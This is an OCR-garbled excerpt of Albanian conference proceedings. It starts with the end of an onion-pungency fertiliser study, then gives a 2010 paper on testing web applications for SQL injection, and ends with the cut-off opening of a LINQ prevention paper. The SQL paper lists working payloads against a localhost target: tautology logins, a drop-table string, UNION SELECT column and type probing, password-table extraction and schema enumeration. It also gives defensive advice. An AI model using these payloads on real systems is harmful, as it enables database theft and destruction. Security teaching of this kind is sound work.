distancé 18 cm ndérmijet rreshtave. Squfuri u hodh né sasi prej 0, 10, 20 dhe 30
kg/ha né blloge t¢ randomizuar me katér pérséritje. Squfuri u hodh né sasi té
barabarta né 28 Maj 2011 dhe 5 Qershor 2011. Azoti., fosfori dhe kaliumi u hodhén
né sasi prej 150, 160, 150 kg/ha respektivisht. Hedhja e azotit dhe e kaliumit u krye
né dy faza té barabarta mé 5 Korrik 2011 dhe 22 Korri 2011. | gjithé fosfori u hodh
né njé fazé mé 28 Maj 2011.

Pér vlerésimin e djegésirés u pérdorén varietetet e qepéve ‘Walla Walla’,
‘Miras’, ‘Candy’, ‘Rubino’, dhe ‘Golden Coin’.

Qepét e vjela nga porcione prej 3,5 m? né ¢do ngastér u ndané né pesé klasa
sipas diametrit: té vogla, <5,7 cm; mé té médha,<7,6 cm; mesatare,<8,3 cm; té
médha ose vigane, <9,5 cm; dhe kolosale, >9,5cm. U numéruan dhe u peshuan pesha
totale e ¢do klase. Mé pas u zgjodh njé nén-mostér prej 2 bulba gepe prej tyre pér
analizén e léndéve totale té tretura dhe djegésirés. Analizat kimike u kryen brenda 1
0se 2 javéve pas vjeljes.

Analizat e variancés (ANOVA) u kryen duke pérdorur softin R té statistikés.

Pérgatitja e mostrave

Bulbat e gepéve u prené dhe u hogén pjesét e gafés dhe té bazés si dhe
Iékura e thaté. Nga masa e gepés u mor njé sasi e preré nga diametri i jashtém drejt
géndrés dhe u kombinua me njé sasi té barabarté uji dhe u homogjenizua duke
pérdorur njé grirés shtépiak né raport 1:1 (mg peshé ndaj ml volumi). Léngu i gepés
u pérdor pér té analizuar pérmbajten e léndéve té tretura duke pérdorur njé
refraktometér ABBE e korrektuar duke pasur parasysh hollimin dyfish me ujé.
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Pérzierja u transferua né njé beter 600 ml, t€ mbuluar me xham sahati ku
géndroi pér 10 minuta. Pérmbajtja mé pas u filtrua ose u centrifugua dhe u morén
alikuota prej 0,5 ml dhe u hodhén né epruveta. Kétu u shtuan 1,5 ml acid
trekloracetik 5% dhe u mbuluan me parafilm, u kaluan né pérzierési Vortex dhe u
lané né getési pér 1 oré. Mé pas né epruveté u shtuan 18 ml ujé dhe pérzierja u kalua
pérséri né Vortex. Mé pas u shtua 1 ml 2,4 dinitrofenilhidraziné 0,125% né HCI 2N
dhe u shtua dhe 1 ml ujé. Epruvetat u mbyllén me parafilm, kaluan né vortex dhe u
vendosén né banjo mari né 37 ° pér 10 minuta. Mg pas u shtuan nga 5 ml NaOH 0,6
N tek ¢do epruveté, u pérziené shpejt né vortex dhe u mat absorbanca né 420 nm me
spektrofotometér.

Kurba standarde e acidit piruvik
U pérgatit njé solucion stok prej 0,1 M (0,1 milimol/ml) i acidit piruvik
duke tretur 1,1 gram té piruvatit té natriumit né 100 ml ujé. Népérmjet hollimeve u

pérgatitén solucionet e méposhtme: 0,200 pumol/ml, 0,200 pmol/ml, 0,050 pumol/ml,
0,025 pmol/ml, 0,010 pmol/ml.

Tek c¢do tub u shtuan nga 1 ml 0.125% té2,4-DNPH né 2N HCI duke pérfshiré dhe
mostrén blank. Epruvetat u mbyllén, u pérziené né vortex dhe u vendosén né banjo
uji né 37 ° C pér 10 minuta. Mé pas tek ¢do tub u shtuan 5 ml NaOH 0,6 N, u
pérziené dhe u mat absorbanca né 420 nm.

U ndértua grafiku i varésisé sé koncentrimit té acidit piruvik (umol/ml)
kundrejt absorbancés dhe u pérftua vija e drejté gé kalon nga pikat dhe gjet
ekuacioni i regresit té vijés. Koncentriket e acidit piruvik (umol/ml) né gepé
pércaktohen nga ekuacioni i vijés sé drejté dhe hollimi total.

Kjo proceduré u pérsérit dy heré né Laboratorin e Agroushgimit té
Universitetit t¢ Korcés né datén 28 Shtator 2011.

Rezultatet dhe diskutimet

Pér té llogaritur koncentrimin e acidit piruvik té prodhuar né ményré
enzimatike, niveli endogjen i acidit piruvik duhet té zbritet nga acidi piruvik total.
Matja e niveleve té brendshme té acidit piruvik kérkon denatyrimin e enzimés
allinazé népérmjet mikrovaléve. Yoo dhe Pike (2001) vértetuan gé nivelet e
brendshme té acidit piruvik ishin rreth 0,2 UM dhe mund té meren parasysh.
Koncentrim i acidit piruvik nga nxehja e indeve u pérjashtuan nga analiza.

Koncentrimet e acidit piruvik rriten me rritjen e dozave té squfurit (Fig. 1).
Koncentrimi i acidit piruvik né gepé gé kané pasur 20 dhe 30 kg/ha S ishin 2,3 dhe
2,5 mé té larta se sa né gepét ku nuk u aplikua pérdorimi i S duke treguar késhtu njé
djegésiré té ndérmjetme. Né té kundért, ushgimi me S nuk influencon né
pérmbajtjen totale té Iéndéve té thata (Tabela 1).
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Koncentrimi acidit

Piruvik (umol/g)

Figure 1 Koncentrimet e acidit piruvik né bulbat e qepéve ‘Miras’ nén
inflencén e aplikimit té sasive té ndryshme té S.

Tabela 1. Pérgindja totale e 1éndéve té thata né Iéngun e gepés ‘Miras'

Nr  Squfuri (Kg/Ha) Acidi Piruvik ( umollg)  SSC°

1 0 1,36 7
2 10 2,4 7
& 20 3,2 7
4 30 3,44 6,2

"Micromole té acidit piruvik pér gram peshe té njomé.
’Pérgindja totale e léndés sé thaté.

Prodhimtaria rritet vetém pak me rritjen e plehérimit me squfur; sidoqofté
nuk u pa rritje e métejshme e prodhimit me sasi mé té médha squfuri se 20 kg/ha

(Fig. 2).
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Figure 2. Prodhimtaria e gepés né pérgjigje té sasive té ndryshme té squfurit.
Shiritat vertikalé pérfagésojné gabimin standard.

Shpérndarja e diametrave té bulbeve té gepéve nuk influencohet nga
ushgimi me squfur (Tabela 2). Bulbat pak mé té médha se té vegjlit (pre-packer)
pérfagésojné 56,71 % té numrit t€ pérgjithshém té tyre e ndjekur nga mesataret
(20,16%) dhe té médhaté (9,71%). Té vegjlit dhe kolosalét pérfagésojné vetém 9,71
% dhe 2,00 % té numrit té pérgjithshém. As shpérndarja e peshave té bulbave té
gepéve brenda klasave nuk influencohet nga ushgimi me S; mé tepér frekuenca dhe
pesha ndryshon né ményré té ndjeshme ndérmjet klasave té ndryshme pavarésisht
nga shkalla e aplikimit té sasisé sé S (p<0,01) sikurse tregohet né figurat 3-4.

Tabela 2. Numrat e bulbave té gepéve té vjela né 3.5m?

Squfuri (kg/Ha)

0 10 20 30 Reshta totale
Kolosale 9 8 15 19 51
1.085 1.957 0.403 3.386
Shume te medha 10 8 18 8 44
0.086 0.945 4.476 0.717
Té médha 55 48 100 45 248
0.754 3.775 23.407  4.089
Mesatare 128 118 139 130 515
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Mesatare 128 118 139 130 515
0.001 1.45 0.841 0.116

Nén mesatare 381 391 315 362 1449
1.079 1.089 6.06 0.137

Té vogla 54 81 51 62 248
0.992 4835 1.928 0.025

Kollona totale 637 654 638 626 2555

400

300

buibave

Figura 3 Numri i bulbave té gepéve té Vogla, Nén mesatare, Mesatare, Shumé
té médha, Té médha dhe Kolosale né lidhje me sasinée e Squfurit té aplikuar.
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Figura 5. Koncentrimi i acidit piruvik né bulbat e pesé varieteve

Honcentrimi |
Acidil Pirunvik
mikromolefgram

3 S

Walla Walla Miras Candy Rubino Golden Coin

Koncentrimi relativisht i ulét i acidit piruvik ndoshta lidhet me konditat e veganta té
klimés dhe tokés. Analizat e acidit piruvik menjéheré pas vjeljes mund té kené
kontribuar né vlerat e ulta té koncentrimit té acidit piruvik pér té gjitha rastet.

Table 4 Koncentrimet e acidit piruvik dhe léndéve té thata né bulbat e pesé
varietetve té gepéve.

Acidi Piruvik.
No. Kultivari (0 moles/g) ssc?
1 Walla Walla 1.04 8
2 Candy 2.52 8
3 Golden Coin  3.64 6.2
4 Miras 212 8
5 Rubino 2.76 8
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"Micromolet e acidit piruvik pér gram té peshés sé njomé.
2Pérgindja totale e léndéve té thata né léngun e gepés

Ka njé diferencé té madhe statistike (P=<0,001) né prodhim ndérmjet Walla
Walla, ‘Miras’, dhe ‘Golden Coin. Rendimenti mé i madh i dukshém i gépés u
pérftua nga varieteti Walla Walla (Tabela 4).

Table 5. Rendimenti (t ha) i tre kultivaréve té qepéve.

Kultivari Rendimenti(t ha™) SE
a Walla Walla 50.25 1.74
b Miras 38.52 212
¢ Gold Coin 14.4743 1.06

Mesataret me té njéjtén gérme nuk kané ndryshime té médha sipas testit Tukey.

Shénime pér gepét e émbla

Pércaktimi i djegésirés:

Djegésira né gepé shkaktohet nga komponimet volatile t& squfurit. Disa nga kéto
komponime influencojné né syté kur gepét priten dhe prodhojné loté. (Shpesh quhet
efekt lakrimogjen).

Disa komponime té tjera shkaktojné djegie, njé sensacion djegieje né pjesén e
prapme té gojés dhe né fyt. Té tjera prodhojné njé shije té buté mé té pélqyeshme
dhe aromén karakteristike té gepés.

Té gjitha kéto aroma prodhohen Kkur pritet gepa dhe njé enzimé gé quhet alinazé
clirohet dhe pérnjéheré copéton pararendésit e aromés.

Nuk ka ndonjé metodé kimik e cila té mund té maté té gjitha kéto aroma nga shumé
mostra. Né vend té tyre, ne matim acidin piruvik i cili éshté njé mbiprodukt i
reaksionit té€ aromés dhe mund té matet shpejt dhe lehté.

Nivelet e acidit piruvik variojné ndérmjet 1 dhe 18 mikromoleve pér kultivaré té
ndryshém qepésh. U pérdor guida e méposhtme pér djegésirén e cila éshté né
pérdorim né Georgia,USA.

Nivelet e acidit piruvik

Djegésiré e ulét = 0-3 mikromole
Acid piruvik per gram gepé e njomé.
Mesatare = 3-7 mikromole Acid
piruvik per gram gepé e njomé.
E larté = above 7 mikromole Acid
piruvik per gram gepé e njomé.

258



Konkluzione

Intensiteti i aromés pércaktohet nga gjenetika e kultivarit dhe ambienti né té
cilin rritet ai. Aplikimet e dozave té Squfurit rritin koncentrimin e acidit piruvik tre
heré, por shkaktojné vetém njé rritje té vogél né rendimentin e gepés. Walla Walla
ishte kultivari mé i buté. Koncentrimet e acidit piruvik né Golden Coin dhe Miras
ishin 3,5 dhe 2 heré mé té larta se né Walla Walla. Pérmbajtja e Iéndéve té thata nuk
influencohet nga kultivari ose trajtimi me squfur. Kultivari dhe koncentrim i squfurit
né toké jané konsideratat mé té réndésishme né prodhimin e gepéve té émbla.
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NJEKTIMET SQL, DISA PROCEDURA TE TESTIMIT T(2010)
APLIKIMEVE WEB DHE TE SULMEVE NDAJ TYRE

Dhori Beta
Universiteti “Fan S. Noli”, Kor¢é

Pérmbledhje

Aplikimet web sot jané shumé té pérhapura. Népérmjet tyre krijohen fage web
dinamike, népérmjet té cilave realizohet dhe njé bashképunim shumé i madh midis
pérdoruesve té ndryshém dhe informacioneve gé ndodhen né njé bazé té dhénash né
sfond té aplikimit.Meqgenése pérhapja e kétyre aplikimeve ka marré pérmasa té
jashtézakonshme edhe sulmet ndaj kétyre aplikimeve jané vazhdimisht né
rritje.Qéllimi éshté té sigurohen informacione konfidenciale gé gjenden né bazén e
té dhénave apo té ndryshohen té dhénat e regjistruara ose edhe té shkatérrohet
plotésisht baza e té dhénave ose serveri né té cilin kéto té dhéna gjenden té
regjistruara.Njé prej sulmeve mé tipike ndaj kétyre aplikimeve jané injektimet SQL,
té cilat mundohen gé duke shtuar kod SQL, té ndryshojné kérkesat normale ndaj
bazés sé té dhénave.Kéto kérkesa ndaj bazés sé té dhénave mund té rezultojné té
rrezikshme néqoftése u besohet verbérisht té dhénave gé japin pérdoruesit.

Fjalé celés: SQL, baza té dhénash, aplikim web, siguri.

Abstract

Web applications are very widespread nowadays. They assist in creating dynamic
web pages, which provide a greater fruitful cooperation among different users and
different types of information acquired in the background of the applying database.
Since the range of the extent to these applications has become quite great, the attacks
towards them are increasing enormously. The aim is to obtain confidential
information found in the database, or to change the registered data and to destroy
totally either the database or the server into which these data is registered. One of
the most common threats towards these applications is the SQL injection. These
injections try to change the normal requests addressed to the database, by adding the
SQL code. The requests addressed to the database might result dangerous if we
blindly trust data coming from the users.

Keyword: SQL, database, web application, security

Hyrje

Ky punim jep disa teknika té thjeshta g& mund té pérdoren nga persona kegdashés né
procesin e zbulimit té dobésive gé& mund té shfagin aplikimet web ndaj sulmeve té
tipit té injektimeve SQL. Kéto teknika tregojné se si mund té gjendet pérmbajtja e
bazés sé té dhénave, té dhéna private, apo té sigurohet njé kontroll maksimal mbi té
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1. Bazat e injektimeve SQL (SQL-Injection)
Pér té kuptuar materialin e méposhtém éshté e nevojshme té njihen bazat e gjuhés
SQL si dhe realizimi i aplikimeve mbi bazat e té dhénave né PHP/ASP. Supozojmé
se kemi njé bazé té dhénash gé pérmban tabelén pérdorues me strukturén e
méposhtme:

Atributi Tipi

id bigint(10)
emri varchar(32)
mgroup tinyint(2)
password varchar(32)
email varchar(60)
adresa_ip varchar(16)

Njé kérkesé gé mund té pérpunojé té dhénat nga baza e té dhénave mund té keté
formén:

SELECT *
FROM perdorues
Where emri="$emri’

Né kété rast vlerat e regjistruara né fushén “emri” krahasohen me vlerat e
ndryshores”$emri”. Néqoftése vlera e késaj ndryshoreje éshté marré nga parmetrat
URL ose nga cookie, dhe nuk pérpunohet pér simbole speciale, atéheré kérkesa mbi
bazén e té dhénave shfaq t¢ meta. Mund té japim njé shembull té thjeshté se si
keqdashésit mund té modifikojné kérkesén.

Néqoftése ndryshorja $emri merr vlerén su, atéheré kérkesa mbi bazén e té dhénave
do té jeté si mé poshté:

SELECT *
FROM perdorues
WHERE emri=’su’

Kérkesa éshté e rregullt. Por néqoftése ndryshorja do t& marré vlerén aaa’ atéheré
kérkesa do té kthehet né kérkesé jo korrekte nga piképamja e sintaksés, megenése
shfaget njé simbol * shtesé:

SELECT *
FROM perdorues
WHERE emri="aaa”
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Simboli /¢/lejon modifikimin e kérkesés ndaj bazés sé té dhénave, dhe nuk éshté i
vetmi simbol gé lejon kété veprim. Té supozojmé se kérkesa e mésipérme pérdoret
nga njé aplikim web pér té afishuar té dhénat private té pérdoruesit té loguar. Duke
pérdorur simbolin /¢/ njéperson, me géllim té keq ose jo, mund té shohé me lehtési té
dhénat private té té gjithé pérdoruesve té regjistruar, duke transmetuar njé nga vlerat
e méposhtme pér parametrin $emri (supozohet se né sistem jané regjistruar
pérdoruesit admin, su dhe Ima0):

random_data’ OR emri=’admin

random_data’ OR emri=’su

random_data’ OR emri="Ima0

kérkesat ndaj bazés sé té dhénave do té jené:

SELECT * FROM perdorues WHERE emri="random_data’ OR emri="admin’
SELECT * FROM perdorues WHERE emri="random_data’ OR emri="suw’
SELECT * FROM perdorues WHERE emri="random_data’ OR emri="Ima(’

Injektimi i kodit SQLIlejon marrjen e té dhénave private té njé pérdoruesi. Njé
personi i krijohetmundésia gé sipas déshirés mund té gjejé té dhénat pér té gjithé
pérdoruesit duke i transmetuar parametritbemri vlerén:

random_data’OR ‘1°="1

Kérkesa me kodin e injektuar do té rezultojé:

SELECT * FROM perdorues WHERE emri="random_data’ OR ‘1’="1’
Kjo kérkesé do té kthejé té gjitha rekordet e tabelés pérdorues

2. Procedura té testimit té aplikimeve web ndaj injektimeve SQL
Procedurat e testimit té aplikimeve web ndaj injektimeve SQL, reduktohen né
formimin e njé liste parametrash me té cilét punon aplikimi (parametra GET dhe
POST), duke pérfshiré dhe parametrat cookie.Kéta parametra testohen mé pas njé
nga njé né pérpunimin e simboleve speciale ose té fjaléve celés (té tipit WHERE)
gé mund té ndihmojné né zbulimin e t& metave gé shfaq aplikimi.

2.1. Identifikimi i parametrave qé shfagin probleme (dobési)

Supozojmé se aplikimi web éshté konfiguruar né ményré té tillé gé, né rastin e
shfagjes sé njé gabimi SQL, né browser shfaget teksti i gabimit dhe mbase njé pjesé
e kérkesés.Néqoftése keqdashésit i afishohet gofté dhe njé pjesé nga kérkesa, atéheré
injektimi i kodit SQL mund té realizohet pa problem.

Supozojmé se aplikimit web i &shté transmetuar njé parametér GET id=aaa’:
http://127.0.0.1/inj.asp?id=aaa
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Pér té pércaktuar nése paramerti shfaq pika té dobéta lind nevoja té kérkohet né
fagen e kthyer nga serveri pér fraza té formés “ODBC”, “have an error”, “SQL
syntax”, “SQL Server”, “MySQL”, “Oracle” etj. Ekzistojné raste kur gabimet e
kthyera nga serveri vendosen né parametra té fshehur ose né komente. Né kété rast
njé keqdashés e ka té thjeshté té injektojé kod SQL.:
http://127.0.0.1/inj.asp?id=aaa’:+drop+table+users;-Duhet theksuar se jo té gjithé
sistemet e administrimit té bazave té té dhénave lejojné lidhjen e kérkesave té
bazave té té dhénave.

Eshté shumé e pérhapur situata, kur nga teksti i gabimit té kthyer prej serverit, mund
té gjendet tipi i bazés sé té dhénave gé pérdoret nga aplikimi web pér shembull:

Warning: mysqgl_fetch_object(): supplied argument is not a valid MySQL result
Teksti i gabimit té mésipérm éshté shumé i vlefshém pér keqdashésit gé té krijojné
kod SQL specifik pér njé tip té caktuar té sistemit té administrimit té bazave té té
dhénave.

2.2. Identifikimi i parametrave té cénueshém né rastet kur nuk afishohen
gabime

Té supozojmé se gabimet gé shfagen né rastet e kérkesave ndaj bazés sé té dhénave
nuk afishohen.Atéheré njé keqdashési i ngelet mundésia gé té pércaktojé prezencén
e dobésive sipas sjelljes sé aplikimit web.
Me njé probabilitet t€ larté mund té thuhet se parametri shfaq dobési kur serveri
kthen gabimet 302 (page redirect) dhe 500 (internal server error). Né kété rast
keqdashési do té pé€rdoré disa teknika mé t€ avancuara. Pér t’i kuptuar éshté e
nevojshme té njihen tipet bazé SQL. Atributet né SQL mund té kené njé prej tre
tipeve bazé: numerik, varg karakteresh ose datetime. Secili tip ka karakteristikat
e tij specifike té cilat mund té ndihmojné kegdashésin né procesin e zbulimit té
dobésive té parametrave té aplikimit. Né SQL parametrat numeriké transmetohen
ashtu si jané, ndérsa vargjet e karaktereve dhe vlerat datetime transmetohen midis
thonjézave:
SELECT * FROM perdorues WHERE id=5 (vleré numerike)
SELECT * FROM perdorues WHERE emri="admin’ (vleré varg karakteresh)
Testimi pér injektime SQL i parametrave numeriké éshté shumé e thjeshté:
http://127.0.0.1/inj.php?id=5
http://127.0.0.1/inj.php?id=6-1
http://127.0.0.1/inj.php?id=4+1

Négoftése parametri id shfag dobési, né rastin e paré do té shfaget njé gabim SQL
(ose error 302, 500, kur gabimet e sistemit té administrimit té bazave té té dhénave
nuk afishohet) sepse kérkesaSELECT * FROM pérdorues WHERE id=5" nuk &shté
a sakté nga piképamja e sintaksés.
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SELECT * FROM perdorues WHERE id=4+1, do té ekzekutohen né ményré
korrekte dhe do té japin té& njéjtin rezultat (do té kthejné nga baza e té dhénave
rekordet me vlerén e variablit id té barabarté me 5) duke treguar se variabli id shfaq
dobési.

Njé tekniké e ngjashme pérdoret né testimin e parametrave varg karakteresh, me disa
ndryshime: vlerat e parametrave transmetohen midis thonjézave dhe bashkimi i
vargjeve té karaktereve né sisteme té ndryshme realizohet né ményra té ndryshme
(MySQL dhe SQL Server pérdorin shenjén + ndérsa Oracle shenjén ||).

Procedura e testimit t& parametrit emri:

http://127.0.0.1/inj.php?emri=Ima0 ka gjithashtu dy raste t& mundshme.

Né rastin e paré parametrit i transmetohet njé vleré e cila do té gjenerojé njé gabim
SQL:http://127.0.0.1/inj.php?emri=Im’a0

Kérkesa SQL gé do té gjenerojé gabimin: SELECT * FROM pérdorues WHERE
emri="Im’a0’. Gabimi rezulton sepse shfaget njé /¢/ mé shumé.

Né rastin e dyté parametrit i transmetohet njé vleré gé do té tregojé dobésiné e tij:
http://127.0.0.1/inj.php?emri=I"+’ma0

http://127.0.0.1/inj.php?emri=Im’+’a0

Si rezultat do té krijohen kérkesat e méposhtme ndaj bazés sé té dhénave:

SELECT * FROM perdorues WHERE emri="I’+’ma0’

SELECT * FROM perdorues WHERE emri="Im’+’a0’

Té dyja kérkesat SQL jané korrekte dhe japin té njéjtin rezultat.

3. Metoda sulmesh

Té supozojmé se keqdashési ka gjetur njé parametér t€ dobét.Pér té€ pérdorur
dobésiné ai duhet té njohé péraférsisht tipin e kérkesés né té cilén té injektojé kodin.
Né aplikimet web, mé shumé ndeshen Kkatér tipe kérkesash SQL: SELECT,
INSERT, UPDATE, DELETE. Se cila kérkesé éshté pérdorur né njé rast konkret,
mund té pércaktohet duke analizuar logjikén dhe semantikén e skriptit pérkatés.
Négoftése skripti afishon té dhéna qé i pérkasin njé identifikatori té caktuar, atéheré
me shumé mundési, kérkesa éshté e tipit SELECT.

Néqoftése skripti shton té dhéna né bazén e t& dhénave, pér shembull shtimi i njé
komenti ose njé postim né njé forum, atéheré kérkesa éshté e tipit INSERT.
Négoftése skripti modifikon informacionin, pér shembull ndérrimi i njé fjalékalimi,
apo ndryshimi i njé postimi né njé forum atéheré kérkesa éshté e tipit UPDATE.

Négoftése realizohet fshirje informacioni, pér shembull fshirja e njé llogarie
pérdoruesi, me shumé mundési kérkesa éshté e tipit DELETE.

Dobésité e ndeshura mé shpesh shfagen né kérkesa té tipit SELECT.
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3.1. Injektimi UNION SELECT

Meqgenése dobésité mé té shpeshta ndeshen né kérkesat SELECT, keqdashésit né
radhé té paré do té pérpigen té injektojné klauza UNION SELECT, sepse né rast
suksesi keqdashési do té keté akses né té gjitha tabelat e sistemit. Né kéto tabela
pérmbahet informacioni pér strukturén e té gjitha bazave té té dhénave gjé gjenden
né Server. Mé poshté paragitet lista e tabelave té sistemit pér sisteme administrimi té
bazave té té dhénave té ndryshme:

o SQL Server

o INFORMATION_SCHEMA

o sysobjects

o syscolumns
o MySQL

o mysgl.user

o mysql.host

o mysqgl.db
o Oracle

o SYS.USER_OBJECTS
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.USER_TAB_COLUMNS
SYS.TAB
SYS.ALL_TABLES

O O O O O

Para se té kryejé injektim UNION SELECT keqdashési duhet té gjejé numrin e
atributeve né kérkesén SQL, tipin e secilit atribut dhe emértimin e disa tabelave né
sistem, gjé qé konsiderohet e v€shtiré pér t’u realizuar n€ rastet kur nuk afishohen
mesazhet e gabimeve né browser. mé poshté tregohet se egzistojné disa teknika té
thjeshta gé zgjidhin problemet e dhéna. kérkesaUNION SELECT duhet té pérmbajé
té njéjtin numér atributesh, ndérsa atributet duhet té po atij tipi.

3.1.1. Identifikimi i numrit té atributeve

Paraprakisht po tregojmé se sa thjesht gjendet numri i atributeve né rastin kur
afishohen gabimet né browser. Supozojmé se ekziston dobésia e méposhtme né
aplikimin web gé pérdor sistemin e administrimit té bazave té té dhénave MySQL.:

http://127.0.0.1/inj.php?id=5’

Pér té gjetur numrin e atributeve keqdashési do té formojé kérkesat:
http://127.0.0.1/inj.php?id=-1"+UNION+SELECT+0/*
http://127.0.0.1/inj.php?id=-1"+UNION+SELECT+0,1/*
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http://127.0.0.1/inj.php?id=-1>+UNION+SELECT+0,1,2/*

e késhtu me radhé derisa t& mos shfaget mesazhi i gabimit: The used SELECT
statements have different number of columns

Né rastin kur gabimet e kérkesés SQL nuk afishohen né browser, keqdashési duhet
té pérdoré klauzén ORDER BY deri sa té shfaget njé mesazh gabimi:

http://127.0.0.1/inj.php?id=-1"’+ORDER+BY+1/*
http://127.0.0.1/inj.php?id=-1"’+ORDER+BY+2/*
http://127.0.0.1/inj.php?id=-1"+ORDER+BY+3/*
Meqgenése njé kérkeseé e tipit select ka té paktén njé atribut, kjo tekniké éshté shumé

efikase. Keqdashési rrit numrin e kolonés sipas sé cilés béhet renditja, dhe kur
aplikimi web kthen njé gabim, atéheré dihet numri i skaté i kolonave.

3.1.2. Identifikimi i tipit té atributeve

Pasi njihet numri i atributeve, ngelet té pércaktohet tipi i tyre.Né MySQL tipi i té
dhénave éshté shumé e lehté té pércaktohet sepse vlerat numerike mund té
konsiderohen dhe si vlera varg karakteresh.Ndérsa kur pérdoren SQL Server ose
Oracle, shpeshheré pér té zgjidhur problemin, pérdoret fjala celées NULL, sepse ajo
mund té keté cdo tip.

Duke supozuar se éshté gjetur numri i atributeve, keqdashési e ka té thjeshté té
injektojé klauzén UNION me té gjitha atributet NULL. Shtimi i instruksionit
WHERE i cili gjithmoné do té vlerésohet si i gabuar, garanton eliminimin e
gabimeve. Ja njé shembull pér SQL Server dhe njékohésisht pér Oracle:

http://127.0.0.1/inj.asp?id=-
1I’+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=
Ky tip injektimi ka dy géllime. Qellimi i paré, té realizohet njé kérkesé UNION pa
gabime, géllimi i dyté, kjo kérkesé nuk kthen asgjé, gjé gé vérteton se gjithcka
funksionon né ményré korrekte.Pasi éshté krijuar kérkesa, procesi i identifikimit té
tipeve béhet i thjeshté. Né njé pérséritje, secilit atribut i jepen vlera numerike, vargje
karakteresh ose datetime:

-1’+UNION+SELECT+1,NULLNULL,NULL,NULL NULL+WHERE+1=2—
Asnjé gabim — parametri i paré éshté numerik
=-1’+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2—
Gabim
=-1’+UNION+SELECT+1,’2’,NULLNULL,NULL,NULL+WHERE+1=2—
Asnjé gabim — atributi i dyté éshté i tipit varg karakteresh
=-1’+UNION+SELECT+1,°2’ 3, NULL,NULL NULL+WHERE+1=2—

Né kété ményré, té dhénat nga tabelat e sistemit mund té gjenden me sukses. Pér
shembull né MySQL.:
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Select * from perdorues where id=-1 union select 0, 1, 2, mysqgl.user.password,4 5
from mysql.user

3.2. Gjetja e njé interpretuesi komandash

Disa sisteme té administrimit té bazave té té dhénave lejojné regjistrimin e
rezultateve té kérkesés né njé skedar. Kjo u lejon kegpérdoruesve gé té krijojné njé
skript i cili mé pas té jeté i vlefshém pér kontrollin total té serverit. Né MySQL
regjistrimi i rezultateve né njé skedar realizohet duke pérdorur klauzén INTO
OUTFILE.

Né SQL Server regjistrimi i rezultateve né njé skedar béhet né ményré té
ngjashme.Si pjesé e serverit gjenden disa module gqé pérmbajné procedura té cilat
lehtésojné punén me serverin dhe mund té apelohen direkt nga kérkesa SQL.

3.3. Metoda specifike té sulmeve mbi njé tip té caktuar sistemi té administrimit
té bazave té té dhénave.
3.3.1. MySQL
Injektimi SQL lejon té gjenden dhe té dhéna té tjera:
Bazen e té dhénave active:
SELECT * FROM perdorues WHERE id=-1 UNION SELECT
0,1,2,3,4,DATABASE()
Pérdoruesi gé ka ekzekutuar bazén e té dhénave:
SELECT * FROM perdorues WHERE id= -1 UNION SELECT
0,1,2,3,4,USER()
Versionin e serverit:
SELECT * FROM perdorues WHERE id= -1 UNION SELECT
0,1,2,3,4VERSION()
Négofté se pérdoruesi gqé ka ekzekutuar serverin ka té drejta file_priv, atéheré
keqdashési mund té marré kontrollin e ¢do skedari gé ndodhet né server:
3.3.2. SQL Server

Né bazén e té dhénave té sistemit INFORMATION_SCHEMA pérmbahet i gjithé
informacioni pér té gjitha tabelat gé gjenden né server.Marrja e té dhénave nga baza
e té dhénave mund té béhet me lehtési né rastin kur mesazhet e gabimit ODBC
afishohen né browser. Supozojmé se ekziston njé aplikim web me dobési:

http://127.0.0.1/?page_id=1"

Si fillim keqdashési do té gjejé emértimet e tabelave té bazés sé té dhénave,
népérmijet krijimit té njé kérkese SQL qgé do té kthejé emrin e tabelés sé paré:
http://127.0.0.1/?page_id=-1°; SELECT + TOP + 1 + TABLE_NAME + FROM
+ INFORMATION_SCHEMA.TABLES—

Serveri do té kthejé:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting
the nvarchar value ‘tablel’ to a column of data type smallint
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Emértimi i tabelés s€ paré€ té bazés sé€ t€ dhénave éshté ‘tablel’. Mg pas pér té gjetur
emértimet e tabelave té tjera keqdashési do té formojé me radhé kérkesat e
méposhtme:

http://127.0.0.1/?page_id=-1’; SELECT + TOP +1 + TABLE NAME + FROM
+ INFORMATION_SCHEMA.TABLES+ WHERE + TABLE_NAME + NOT
+ 1IN + (‘tablel’)
4. Metoda té mbrojtjes
Pér té shmangur njé mundési pér té zbuluar dobésité ndaj injektimeve SQL né
aplikimet web, éshté e domosdoshme té pérpunohen té gjitha té dhénat gé vijné nga
pérdoruesit pér praniné e simboleve t& méposhtme:
Apostrofi (“)ose thonjézat (“). Me ndihmén e tyre né shumicén e rasteve
realizohet injektimi i kodit SQL.
Simbolet specifike gé pérdorin sisteme té ndryshme té administrimit té bazave té
té dhénave pér té shkruar komentet (/, *, --), me ndihmén e té cilave mund té
ménjanohet njé pjesé e kérkesés.

Simbolet gé ndajné instruksionet nga njéra tjetra (;). Prania e kétyre simboleve
lejon té krijohen disa kérkesa mbi bazén e té dhénave

Té dhénat duhen verifikuar dhe pér praniné e simboleve té tjera ( _, %)

Né rastet kur kérkesa pérdor t€ dhéna numerike té marra nga pérdoruesi, para se
té pérdoren ato né kérkesé duhen konvertuar né tipin numerik
Né rastet kur kérkesa pérdor té dhéna té tipit varg karakteresh té marra nga
pérdoruesit, para se té pérdoren né kérkesé ato duhen pérpunuar pér simbole
special
5. Konkluzione
Duhet theksuar se dobésité ndaj injektimeve SQL jané shumé té pérhapura. Né
punim kemi treguar se prania e dobésive ndaj injektimeve SQL né aplikimet web u
lejon personave keqdashés té gjejné ose té& marrin informacione té réndésishme nga
baza e té dhénave, pér serverin apo dhe té realizojné sulme té ndryshme. Pér té
shmangur praniné e kétyré dobésive éshté i domosdoshém pérpunimi i simboleve
speciale, né ményré absolute, pér té gjitha té dhénat gé merren nga pérdoruesit. Né
kété kategori hyjné parametrat GET, POST si dhe Cookie
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PLATFORMA .NET DHE TEKNIKA LINQ NE PARANDALIMIN E
INJEKTIMEVE SQL

Dhori Beta, Blerina Celiku
Universiteti “Fan S. Noli”, Korgé

Pérmbledhje

Problemi i sulmeve SQL ndaj aplikimeve Web sot éshté njé nga problemet mé té
médha. Programuesit e aplikimeve Web mund té pérdorin gjuhé té ndryshme
programimi pér té krijuar aplikime Web té cilat bazohen dhe ndérveprojné me njé
bazé té dhénash. Ndérveprimi me bazén e té dhénave realizohet duke krijuar kérkesa
